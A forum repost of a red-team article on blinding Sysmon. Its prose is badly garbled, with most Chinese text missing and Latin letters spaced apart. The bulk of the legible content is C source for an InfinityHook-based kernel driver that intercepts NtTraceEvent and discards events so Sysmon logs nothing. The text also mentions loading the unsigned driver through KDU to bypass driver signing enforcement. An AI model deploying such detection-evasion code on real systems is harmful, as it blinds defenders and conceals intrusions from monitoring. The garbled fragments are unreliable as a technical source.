找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 0|回复: 0

[15332] 2020-05-04_红队技巧:绕过Sysmon检测

[复制链接]

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2020-05-04_红队技巧:绕过Sysmon检测 S y s m o n   F r e e B u f   2 0 2 0 - 0 5 - 0 4 S y s m o n W i n d o w s 使 使 x p n m a t t e r p r e t e r M e t t e r p r e t e r o k G h i d r a s y s m o n 6 4 . e x e 使 R e p o r t E v e n t W W i n d o w s   A P I h o o k   R e p o r t E v e n t W A D V A P I 3 2 . d l l E t w E v e n t W r i t e T r a n s f e r N T D L L . d l l E t w E v e n t W r i t e T r a n s f e r N t T r a c e E v e n t n t o s k r n l . e x e
使 W i n D B G n t ! N t T r a c e E v e n t 使 r e t 使 P o w e r s h e l l s y s m o n 使 P o C h o o k   N t T r a c e E v e n t 使 h o o k   K e r n e l   d r i v e r   s i g n i n g   e n f o r c e m e n t P a t c h G u a r d @   h F i r e F 0 x I n f i n i t y H o o k b y p a s s D r i v e r E n t r y N t T r a c e E v e n t I o C r e a t e D r i v e r I o C r e a t e D r i v e r K D U d r i v e r d r i v e r   D r i v e r O b j e c t R e g i s t r y P a t h D r i v e r E n t r y D r i v e r O b j e c t I o C r e a t e D r i v e r D r i v e r I n i t i a l i z e D r i v e r I n i t i a l i z e D r i v e r O b j e c t I O C T L N T S T A T U S   D r i v e r E n t r y ( _ I n _   P D R I V E R _ O B J E C T   D r i v e r O b j e c t , _ I n _   P U N I C O D E _ S T R I N G   R e g i s t r y P a t h ) { N T S T A T U S                 s t a t u s ; U N I C O D E _ S T R I N G     d r v N a m e ; U N R E F E R E N C E D _ P A R A M E T E R ( D r i v e r O b j e c t ) ; U N R E F E R E N C E D _ P A R A M E T E R ( R e g i s t r y P a t h ) ; D b g P r i n t E x ( D P F L T R _ D E F A U L T _ I D ,   D P F L T R _ I N F O _ L E V E L ,   " [ + ]   i n f i n i t y h o o k :   L o a d e d . r n " ) ; O r i g i n a l N t T r a c e E v e n t   =   ( N t T r a c e E v e n t _ t ) M m G e t S y s t e m R o u t i n e A d d r e s s ( & S t r i n g N t T r a c e E v e n t ) ; O r i g i n a l I o C r e a t e D r i v e r   =   ( I o C r e a t e D r i v e r _ t ) M m G e t S y s t e m R o u t i n e A d d r e s s ( & S t r i n g I o C r e a t e D r i v e r ) ; i f   ( ! O r i g i n a l I o C r e a t e D r i v e r ) { D b g P r i n t E x ( D P F L T R _ D E F A U L T _ I D ,   D P F L T R _ I N F O _ L E V E L ,   " [ - ]   i n f i n i t y h o o k :   F a i l e d   t o   l o c a t e   e x p o r t :   % w Z . n " ,   S t r i n g I o C r e a t e D r i v e r ) ; r e t u r n   S T A T U S _ E N T R Y P O I N T _ N O T _ F O U N D ;
D r i v e r O b j e c t 使 I n f i n i t y H o o k N t T r a c e E v e n t I f h I n i t i a l i z e I f h I n i t i a l i z e 访 N t T r a c e E v e n t D e t o u r N t T r a c e E v e n t D e t o u r N t T r a c e E v e n t H O O K S T A T U S I O C T L 0 0 N t T r a c e E v e n t H O O K S T A T U S S T A T U S _ S U C C E S S F i e l d s ; 使 K D U K D U r e t u r n   S T A T U S _ E N T R Y P O I N T _ N O T _ F O U N D ; } i f   ( ! O r i g i n a l N t T r a c e E v e n t ) { D b g P r i n t E x ( D P F L T R _ D E F A U L T _ I D ,   D P F L T R _ I N F O _ L E V E L ,   " [ - ]   i n f i n i t y h o o k :   F a i l e d   t o   l o c a t e   e x p o r t :   % w Z . n " ,   S t r i n g N t T r a c e E v e n t ) ; r e t u r n   S T A T U S _ E N T R Y P O I N T _ N O T _ F O U N D ; } R t l I n i t U n i c o d e S t r i n g ( & d r v N a m e ,   L " D r i v e r g h o s t i n t h e l o g s " ) ; s t a t u s   =   O r i g i n a l I o C r e a t e D r i v e r ( & d r v N a m e ,   & D r i v e r I n i t i a l i z e ) ; D b g P r i n t E x ( D P F L T R _ D E F A U L T _ I D ,   D P F L T R _ I N F O _ L E V E L ,   " [ + ]   C a l l e d   O r i g i n a l I o C r e a t e D r i v e r   s t a t u s :   0 x % X n " ,   s t a t u s ) ; N T S T A T U S   S t a t u s   =   I f h I n i t i a l i z e ( S y s c a l l S t u b ) ; i f   ( ! N T _ S U C C E S S ( S t a t u s ) ) { D b g P r i n t E x ( D P F L T R _ D E F A U L T _ I D ,   D P F L T R _ I N F O _ L E V E L ,   " [ - ]   i n f i n i t y h o o k :   F a i l e d   t o   i n i t i a l i z e   w i t h   s t a t u s :   0 x % l x . n " ,   S t a t u s ) ; } r e t u r n   S t a t u s ; } v o i d   _ _ f a s t c a l l   S y s c a l l S t u b ( _ I n _   u n s i g n e d   i n t   S y s t e m C a l l I n d e x , _ I n o u t _   v o i d * *   S y s t e m C a l l F u n c t i o n ) { U N R E F E R E N C E D _ P A R A M E T E R ( S y s t e m C a l l I n d e x ) ; i f   ( * S y s t e m C a l l F u n c t i o n   = =   O r i g i n a l N t T r a c e E v e n t ) { * S y s t e m C a l l F u n c t i o n   =   D e t o u r N t T r a c e E v e n t ; } } N T S T A T U S   D e t o u r N t T r a c e E v e n t ( _ I n _   P H A N D L E   T r a c e H a n d l e , _ I n _   U L O N G   F l a g s , _ I n _   U L O N G   F i e l d S i z e , _ I n _   P V O I D   F i e l d s ) { i f   ( H O O K _ S T A T U S   = =   0 ) { r e t u r n   O r i g i n a l N t T r a c e E v e n t ( T r a c e H a n d l e ,   F l a g s ,   F i e l d S i z e ,   F i e l d s ) ; } r e t u r n   S T A T U S _ S U C C E S S ; }
西 使 * : d y l a n F B F r e e B u f . C O M

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 13:00 , Processed in 0.482627 second(s), 31 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表